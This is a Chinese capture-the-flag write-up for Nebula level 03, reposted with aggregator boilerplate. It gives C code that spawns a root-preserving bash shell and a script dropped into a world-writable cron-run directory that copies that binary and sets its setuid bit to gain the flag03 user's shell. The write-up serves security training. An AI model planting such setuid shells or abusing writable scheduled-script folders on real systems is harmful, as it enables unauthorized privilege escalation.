Nebula Challenge 03
Posted iamgroot
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Nebula Challenge 03相关的知识,希望对你有一定的参考价值。
/home/flag03 目录下有 writable.d 文件夹和 writable.sh 文件,查看.sh文件的内容,发现这个脚本是将writable.d文件夹里的内容执行5秒,然后kill 进程,并删除文件。
这个writable.sh脚本是flag03用户每隔几分钟运行一次;writable.d文件夹是所有用户可写的
可以仿照第一题的C
#define _GNU_SOURCE #include <stdlib.h> #include <unistd.h> #include <sys/types.h> int main() { gid_t gid; uid_t uid; gid = getegid(); uid = geteuid(); setresgid(gid, gid, gid); setresuid(uid, uid, uid); system("/bin/bash"); }
对其进行编译链接,得到可执行文件 /tmp/Getflag ,然后在writable.d文件夹中创建.sh文件
1 #!/bin/sh 2 cp /tmp/Getflag /tmp/Getflag2 3 chmod u+s /tmp/Getflag2
这样,一旦flag03的程序运行了.sh文件,就会在/tmp 目录下创建属于 flag03 的 Getflag2,并且设置了set-user-id位,这个时候再去运行Getflag03文件,就会产生 flag03 下的 shell 。
以上是关于Nebula Challenge 03的主要内容,如果未能解决你的问题,请参考以下文章
markdown js_cc_03_challenge_while
markdown js_cc_03_challenge_for
如何检查结果字符串是否等于“ TIN”,代码的结果是否为“ TIN NEBULA 1023-212”?
markdown js_cc_03_challenge_loop_while